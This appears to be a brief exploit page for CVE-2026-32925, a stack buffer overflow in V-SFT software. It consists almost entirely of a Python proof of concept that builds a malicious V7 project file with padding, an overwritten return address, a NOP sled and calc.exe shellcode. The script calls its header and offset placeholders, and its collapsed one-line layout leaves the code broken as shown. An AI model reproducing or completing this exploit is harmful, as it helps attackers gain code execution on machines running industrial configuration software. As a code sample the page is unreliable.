CVE-2026-32925 V-SFT栈溢出致代码执行

#!/usr/bin/env python3 # PoC for CVE-2026-32925 V-SFT Stack-Based Buffer Overflow # This script generates a crafted V7 file that triggers the overflow. import struct def create_malicious_v7(filename): # V7 file header placeholder (structure may vary based on actual spec) header = b"V7_FILE_HEADER" + b"\x00" * 20 # The overflow trigger: a large string to overwrite the stack # Offset to return address needs to be determined by debugging # Assuming an offset of 500 bytes for demonstration offset = 500 # Padding (A's) padding = b"A" * offset # Fake return address (e.g., address of JMP ESP or controlled buffer) # This is a placeholder address ret_addr = struct.pack("<L", 0xdeadbeef) # Optional: NOP sled + Shellcode nop_sled = b"\x90" * 100 # Simple calc.exe shellcode (x86) for demonstration shellcode = b"\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0" payload = header + padding + ret_addr + nop_sled + shellcode with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious V7 file created: {filename}") print(f"[+] Payload size: {len(payload)} bytes") if __name__ == "__main__": create_malicious_v7("exploit_CVE-2026-32925.v7")